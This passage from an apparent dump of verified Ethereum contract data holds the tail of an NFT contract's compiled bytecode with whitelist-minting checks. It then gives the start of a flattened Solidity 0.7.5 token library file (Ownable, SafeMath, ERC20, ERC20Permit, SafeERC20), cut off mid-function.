57600080fd5b506103ef61055c366004612989565b6110c1565b34801561056d57600080fd5b5061030861057c3660046128ea565b611154565b34801561058d57600080fd5b506103ef601d5481565b3480156105a357600080fd5b5061034c6105b2366004612989565b611195565b3480156105c357600080fd5b506103ef600c5481565b3480156105d957600080fd5b506103086105e83660046128ea565b61120c565b3480156105f957600080fd5b506019546102d39060ff1681565b34801561061357600080fd5b506103ef61062236600461274e565b611258565b34801561063357600080fd5b506103086112df565b34801561064857600080fd5b50610308611315565b61030861065f366004612989565b61136e565b34801561067057600080fd5b50600a546001600160a01b031661034c565b34801561068e57600080fd5b5061031f611743565b6103086106a5366004612989565b611752565b3480156106b657600080fd5b506103086106c536600461274e565b611930565b3480156106d657600080fd5b506103086106e5366004612889565b611986565b3480156106f657600080fd5b506103ef601a5481565b34801561070c57600080fd5b5061030861071b36600461274e565b611a4b565b34801561072c57600080fd5b5061030861073b366004612809565b611aa1565b34801561074c57600080fd5b506103ef601b5481565b34801561076257600080fd5b5061031f610771366004612989565b611ad9565b34801561078257600080fd5b506103086107913660046128ea565b611b75565b3480156107a257600080fd5b506103ef600d5481565b3480156107b857600080fd5b506103ef600b5481565b3480156107ce57600080fd5b506102d36107dd36600461278f565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561081757600080fd5b5061030861082636600461274e565b611bb6565b34801561083757600080fd5b506103ef610846366004612989565b600e6020526000908152604090205481565b34801561086457600080fd5b5061030861087336600461274e565b611c0c565b34801561088457600080fd5b506103ef60185481565b34801561089a57600080fd5b506103ef601e5481565b60006001600160e01b0319821663780e9d6360e01b14806108c957506108c982611ca4565b92915050565b600a546001600160a01b031633146109025760405162461bcd60e51b81526004016108f990612c08565b60405180910390fd5b805161091590601090602084019061262a565b5050565b60606000805461092890612d1c565b80601f016020809104026020016040519081016040528092919081815260200182805461095490612d1c565b80156109a15780601f10610976576101008083540402835291602001916109a1565b820191906000526020600020905b81548152906001019060200180831161098457829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b0316610a245760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016108f9565b506000908152600460205260409020546001600160a01b031690565b6000610a4b82611195565b9050806001600160a01b0316836001600160a01b03161415610ab95760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016108f9565b336001600160a01b0382161480610ad55750610ad581336107dd565b610b475760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016108f9565b610b518383611cf4565b505050565b610b603382611d62565b610b7c5760405162461bcd60e51b81526004016108f990612c3d565b610b51838383611e59565b6000610b9283611258565b8210610bf45760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b60648201526084016108f9565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b600a546001600160a01b03163314610c475760405162461bcd60e51b81526004016108f990612c08565b805161091590600f90602084019061262a565b333214610c795760405162461bcd60e51b81526004016108f990612bdb565b601654600160a01b900460ff168015610c9457506017544210155b610cea5760405162461bcd60e51b815260206004820152602160248201527f5075626c696320436c61696d696e67206973206e6f7420617661696c61626c656044820152602160f81b60648201526084016108f9565b6014546040516331a9108f60e11b8152600481018390526001600160a01b0390911690636352211e9060240160206040518083038186803b158015610d2e57600080fd5b505afa158015610d42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d669190612772565b6001600160a01b0316336001600160a01b031614610dc65760405162461bcd60e51b815260206004820152601e60248201527f596f7520646f206e6f74206f776e2074686973204d756c65737175616421000060448201526064016108f9565b600854600b5411610e195760405162461bcd60e51b815260206004820152601e60248201527f4e6f206d6f72652072656d61696e696e6720746f6b656e73206c65667421000060448201526064016108f9565b6000818152600e602052604090205415610e875760405162461bcd60e51b815260206004820152602960248201527f5468697320746f6b656e2077617320616c7265616479207573656420666f7220604482015268636c61696d696e672160b81b60648201526084016108f9565b6000818152600e60205260408120805491610ea183612d57565b909155505060188054906000610eb683612d57565b91905055506000610ec660085490565b610ed1906001612c8e565b9050610edd3382612004565b6040518181523390600080516020612e208339815191529060200160405180910390a25050565b610b5183838360405180602001604052806000815250611aa1565b60606000610f2c83611258565b905060008167ffffffffffffffff811115610f4957610f49612dde565b604051908082528060200260200182016040528015610f72578160200160208202803683370190505b50905060005b82811015610fb957610f8a8582610b87565b828281518110610f9c57610f9c612dc8565b602090810291909101015280610fb181612d57565b915050610f78565b509392505050565b600a546001600160a01b03163314610feb5760405162461bcd60e51b81526004016108f990612c08565b80610ff560085490565b610fff9190612c8e565b600b5410156110505760405162461bcd60e51b815260206004820152601c60248201527f4e6f7420656e6f75676820746f6b656e732072656d61696e696e67210000000060448201526064016108f9565b60005b81811015610b5157600061106660085490565b611071906001612c8e565b905061107d8482612004565b836001600160a01b0316600080516020612e20833981519152826040516110a691815260200190565b60405180910390a250806110b981612d57565b915050611053565b60006110cc60085490565b821061112f5760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b60648201526084016108f9565b6008828154811061114257611142612dc8565b90600052602060002001549050919050565b600a546001600160a01b0316331461117e5760405162461bcd60e51b81526004016108f990612c08565b6019805460ff191692151592909217909155601a55565b6000818152600260205260408120546001600160a01b0316806108c95760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016108f9565b600a546001600160a01b031633146112365760405162461bcd60e51b81526004016108f990612c08565b60168054921515600160a01b0260ff60a01b1990931692909217909155601755565b60006001600160a01b0382166112c35760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016108f9565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b031633146113095760405162461bcd60e51b81526004016108f990612c08565b6113136000612152565b565b600a546001600160a01b0316331461133f5760405162461bcd60e51b81526004016108f990612c08565b60405133904780156108fc02916000818181858888f1935050505015801561136b573d6000803e3d6000fd5b50565b33321461138d5760405162461bcd60e51b81526004016108f990612bdb565b60195460ff1680156113a15750601a544210155b6113ff5760405162461bcd60e51b815260206004820152602960248201527f57686974656c6973746564204d696e74696e67206973206e6f742079657420616044820152687661696c61626c652160b81b60648201526084016108f9565b6016546040516370a0823160e01b81523360048201526000916001600160a01b0316906370a082319060240160206040518083038186803b15801561144357600080fd5b505afa158015611457573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061147b91906129a2565b118061150057506015546040516370a0823160e01b81523360048201526000916001600160a01b0316906370a082319060240160206040518083038186803b1580156114c657600080fd5b505afa1580156114da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114fe91906129a2565b115b8061158457506014546040516370a0823160e01b81523360048201526000916001600160a01b0316906370a082319060240160206040518083038186803b15801561154a57600080fd5b505afa15801561155e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061158291906129a2565b115b6115ef5760405162461bcd60e51b815260206004820152603660248201527f596f7520646f206e6f7420686176652061204d756c6573717561642c20416e6f6044820152756e796d6963652c206f722043796265726b6f6e677a2160501b60648201526084016108f9565b80600d5410156116415760405162461bcd60e51b815260206004820152601a60248201527f4f766572206d6178696d756d206d696e7473207065722054782100000000000060448201526064016108f9565b8061164b60085490565b6116559190612c8e565b600b5410156116765760405162461bcd60e51b81526004016108f990612b48565b80600c546116849190612cba565b34146116c85760405162461bcd60e51b8152602060048201526013602482015272496e76616c69642076616c75652073656e742160681b60448201526064016108f9565b80601b60008282546116da9190612c8e565b90915550600090505b818110156109155760006116f660085490565b611701906001612c8e565b905061170d3382612004565b6040518181523390600080516020612e208339815191529060200160405180910390a2508061173b81612d57565b9150506116e3565b60606001805461092890612d1c565b3332146117715760405162461bcd60e51b81526004016108f990612bdb565b601c5460ff1680156117855750601d544210155b6117dc5760405162461bcd60e51b815260206004820152602260248201527f5075626c6963204d696e74696e67206973206e6f742079657420656e61626c65604482015261642160f01b60648201526084016108f9565b80600d54101561182e5760405162461bcd60e51b815260206004820152601a60248201527f4f766572206d6178696d756d206d696e7473207065722054782100000000000060448201526064016108f9565b8061183860085490565b6118429190612c8e565b600b5410156118635760405162461bcd60e51b81526004016108f990612b48565b80600c546118719190612cba565b34146118b55760405162461bcd60e51b8152602060048201526013602482015272496e76616c69642076616c75652073656e742160681b60448201526064016108f9565b80601e60008282546118c79190612c8e565b90915550600090505b818110156109155760006118e360085490565b6118ee906001612c8e565b90506118fa3382612004565b6040518181523390600080516020612e208339815191529060200160405180910390a2508061192881612d57565b9150506118d0565b600a546001600160a01b0316331461195a5760405162461bcd60e51b81526004016108f990612c08565b601380546001600160a01b039092166001600160a01b0319928316811790915560168054909216179055565b6001600160a01b0382163314156119df5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016108f9565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b600a546001600160a01b03163314611a755760405162461bcd60e51b81526004016108f990612c08565b601280546001600160a01b039092166001600160a01b0319928316811790915560158054909216179055565b611aab3383611d62565b611ac75760405162461bcd60e51b81526004016108f990612c3d565b611ad3848484846121a4565b50505050565b6000818152600260205260409020546060906001600160a01b0316611b405760405162461bcd60e51b815260206004820152601d60248201527f517565727920666f72206e6f6e2d6578697374656e7420746f6b656e2100000060448201526064016108f9565b600f611b4b836121d7565b6010604051602001611b5f93929190612a81565b6040516020818303038152906040529050919050565b600a546001600160a01b03163314611b9f5760405162461bcd60e51b81526004016108f990612c08565b601c805460ff191692151592909217909155601d55565b600a546001600160a01b03163314611be05760405162461bcd60e51b81526004016108f990612c08565b601180546001600160a01b039092166001600160a01b0319928316811790915560148054909216179055565b600a546001600160a01b03163314611c365760405162461bcd60e51b81526004016108f990612c08565b6001600160a01b038116611c9b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108f9565b61136b81612152565b60006001600160e01b031982166380ac58cd60e01b1480611cd557506001600160e01b03198216635b5e139f60e01b145b806108c957506301ffc9a760e01b6001600160e01b03198316146108c9565b600081815260046020526040902080546001600160a01b0319166001600160a01b0384169081179091558190611d2982611195565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b0316611ddb5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016108f9565b6000611de683611195565b9050806001600160a01b0316846001600160a01b03161480611e215750836001600160a01b0316611e16846109ab565b6001600160a01b0316145b80611e5157506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316611e6c82611195565b6001600160a01b031614611ed45760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016108f9565b6001600160a01b038216611f365760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016108f9565b611f418383836122d5565b611f4c600082611cf4565b6001600160a01b0383166000908152600360205260408120805460019290611f75908490612cd9565b90915550506001600160a01b0382166000908152600360205260408120805460019290611fa3908490612c8e565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b6001600160a01b03821661205a5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016108f9565b6000818152600260205260409020546001600160a01b0316156120bf5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016108f9565b6120cb600083836122d5565b6001600160a01b03821660009081526003602052604081208054600192906120f4908490612c8e565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6121af848484611e59565b6121bb8484848461238d565b611ad35760405162461bcd60e51b81526004016108f990612b89565b6060816121fb5750506040805180820190915260018152600360fc1b602082015290565b8160005b8115612225578061220f81612d57565b915061221e9050600a83612ca6565b91506121ff565b60008167ffffffffffffffff81111561224057612240612dde565b6040519080825280601f01601f19166020018201604052801561226a576020820181803683370190505b5090505b8415611e515761227f600183612cd9565b915061228c600a86612d72565b612297906030612c8e565b60f81b8183815181106122ac576122ac612dc8565b60200101906001600160f81b031916908160001a9053506122ce600a86612ca6565b945061226e565b6001600160a01b0383166123305761232b81600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b612353565b816001600160a01b0316836001600160a01b03161461235357612353838261249a565b6001600160a01b03821661236a57610b5181612537565b826001600160a01b0316826001600160a01b031614610b5157610b5182826125e6565b60006001600160a01b0384163b1561248f57604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906123d1903390899088908890600401612ab4565b602060405180830381600087803b1580156123eb57600080fd5b505af192505050801561241b575060408051601f3d908101601f1916820190925261241891810190612923565b60015b612475573d808015612449576040519150601f19603f3d011682016040523d82523d6000602084013e61244e565b606091505b50805161246d5760405162461bcd60e51b81526004016108f990612b89565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611e51565b506001949350505050565b600060016124a784611258565b6124b19190612cd9565b600083815260076020526040902054909150808214612504576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b60085460009061254990600190612cd9565b6000838152600960205260408120546008805493945090928490811061257157612571612dc8565b90600052602060002001549050806008838154811061259257612592612dc8565b60009182526020808320909101929092558281526009909152604080822084905585825281205560088054806125ca576125ca612db2565b6001900381819060005260206000200160009055905550505050565b60006125f183611258565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b82805461263690612d1c565b90600052602060002090601f016020900481019282612658576000855561269e565b82601f1061267157805160ff191683800117855561269e565b8280016001018555821561269e579182015b8281111561269e578251825591602001919060010190612683565b506126aa9291506126ae565b5090565b5b808211156126aa57600081556001016126af565b600067ffffffffffffffff808411156126de576126de612dde565b604051601f8501601f19908116603f0116810190828211818310171561270657612706612dde565b8160405280935085815286868601111561271f57600080fd5b858560208301376000602087830101525050509392505050565b8035801515811461274957600080fd5b919050565b60006020828403121561276057600080fd5b813561276b81612df4565b9392505050565b60006020828403121561278457600080fd5b815161276b81612df4565b600080604083850312156127a257600080fd5b82356127ad81612df4565b915060208301356127bd81612df4565b809150509250929050565b6000806000606084860312156127dd57600080fd5b83356127e881612df4565b925060208401356127f881612df4565b929592945050506040919091013590565b6000806000806080858703121561281f57600080fd5b843561282a81612df4565b9350602085013561283a81612df4565b925060408501359150606085013567ffffffffffffffff81111561285d57600080fd5b8501601f8101871361286e57600080fd5b61287d878235602084016126c3565b91505092959194509250565b6000806040838503121561289c57600080fd5b82356128a781612df4565b91506128b560208401612739565b90509250929050565b600080604083850312156128d157600080fd5b82356128dc81612df4565b946020939093013593505050565b600080604083850312156128fd57600080fd5b6128dc83612739565b60006020828403121561291857600080fd5b813561276b81612e09565b60006020828403121561293557600080fd5b815161276b81612e09565b60006020828403121561295257600080fd5b813567ffffffffffffffff81111561296957600080fd5b8201601f8101841361297a57600080fd5b611e51848235602084016126c3565b60006020828403121561299b57600080fd5b5035919050565b6000602082840312156129b457600080fd5b5051919050565b600081518084526129d3816020860160208601612cf0565b601f01601f19169290920160200192915050565b8054600090600181811c9080831680612a0157607f831692505b6020808410821415612a2357634e487b7160e01b600052602260045260246000fd5b818015612a375760018114612a4857612a75565b60ff19861689528489019650612a75565b60008881526020902060005b86811015612a6d5781548b820152908501908301612a54565b505084890196505b50505050505092915050565b6000612a8d82866129e7565b8451612a9d818360208901612cf0565b612aa9818301866129e7565b979650505050505050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090612ae7908301846129bb565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b81811015612b2957835183529284019291840191600101612b0d565b50909695505050505050565b60208152600061276b60208301846129bb565b60208082526021908201527f4e6f7420656e6f7567682072656d61696e696e6720746f6b656e73206c6566746040820152602160f81b606082015260800190565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252601390820152724e6f20736d61727420636f6e7472616374732160681b604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b60008219821115612ca157612ca1612d86565b500190565b600082612cb557612cb5612d9c565b500490565b6000816000190483118215151615612cd457612cd4612d86565b500290565b600082821015612ceb57612ceb612d86565b500390565b60005b83811015612d0b578181015183820152602001612cf3565b83811115611ad35750506000910152565b600181811c90821680612d3057607f821691505b60208210811415612d5157634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415612d6b57612d6b612d86565b5060010190565b600082612d8157612d81612d9c565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461136b57600080fd5b6001600160e01b03198116811461136b57600080fdfe0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885a2646970667358221220460ad1dc221ecd2ba58a18d99e6112b5b5767d967ae4f7c45a50c612cef69c4264736f6c63430008070033
[ 5 ]
0xf2025be02FCDDd158DAc3b676AA780C2fA9AFB67
// SPDX-License-Identifier: MIT pragma solidity 0.7.5; interface IOwnable { function policy() external view returns (address); function renounceManagement() external; function pushManagement( address newOwner_ ) external; function pullManagement() external; } contract Ownable is IOwnable { address internal _owner; address internal _newOwner; event OwnershipPushed(address indexed previousOwner, address indexed newOwner); event OwnershipPulled(address indexed previousOwner, address indexed newOwner); constructor () { _owner = msg.sender; emit OwnershipPushed( address(0), _owner ); } function policy() public view override returns (address) { return _owner; } modifier onlyPolicy() { require( _owner == msg.sender, "Ownable: caller is not the owner" ); _; } function renounceManagement() public virtual override onlyPolicy() { emit OwnershipPushed( _owner, address(0) ); _owner = address(0); } function pushManagement( address newOwner_ ) public virtual override onlyPolicy() { require( newOwner_ != address(0), "Ownable: new owner is the zero address"); emit OwnershipPushed( _owner, newOwner_ ); _newOwner = newOwner_; } function pullManagement() public virtual override { require( msg.sender == _newOwner, "Ownable: must be new owner to pull"); emit OwnershipPulled( _owner, _newOwner ); _owner = _newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function sqrrt(uint256 a) internal pure returns (uint c) { if (a > 3) { c = a; uint b = add( div( a, 2), 1 ); while (b < c) { c = b; b = div( add( div( a, b ), b), 2 ); } } else if (a != 0) { c = 1; } } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns(string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = '0'; _addr[1] = 'x'; for(uint256 i = 0; i < 20; i++) { _addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } interface IERC20 { function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract ERC20 is IERC20 { using SafeMath for uint256; // TODO comment actual hash value. bytes32 constant private ERC20TOKEN_ERC1820_INTERFACE_ID = keccak256( "ERC20Token" ); mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 internal _totalSupply; string internal _name; string internal _symbol; uint8 internal _decimals; constructor (string memory name_, string memory symbol_, uint8 decimals_) { _name = name_; _symbol = symbol_; _decimals = decimals_; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view override returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account_, uint256 ammount_) internal virtual { require(account_ != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address( this ), account_, ammount_); _totalSupply = _totalSupply.add(ammount_); _balances[account_] = _balances[account_].add(ammount_); emit Transfer(address( this ), account_, ammount_); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from_, address to_, uint256 amount_ ) internal virtual { } } interface IERC2612Permit { function permit( address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; function nonces(address owner) external view returns (uint256); } library Counters { using SafeMath for uint256; struct Counter { uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } abstract contract ERC20Permit is ERC20, IERC2612Permit { using Counters for Counters.Counter; mapping(address => Counters.Counter) private _nonces; // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; bytes32 public DOMAIN_SEPARATOR; constructor() { uint256 chainID; assembly { chainID := chainid() } DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name())), keccak256(bytes("1")), // Version chainID, address(this) ) ); } function permit( address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual override { require(block.timestamp <= deadline, "Permit: expired deadline"); bytes32 hashStruct = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, _nonces[owner].current(), deadline)); bytes32 _hash = keccak256(abi.encodePacked(uint16(0x1901), DOMAIN_SEPARATOR, hashStruct)); address signer = ecrecover(_hash, v, r, s); require(signer != address(0) && signer == owner, "ZeroSwapPermit: Invalid signature"); _nonces[owner].increment(); _approve(owner, spender, amount); } function nonces(address owner) public view override returns (uint256) { return _nonces[owner].current(); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library FullMath { function fullMul(uint256 x, 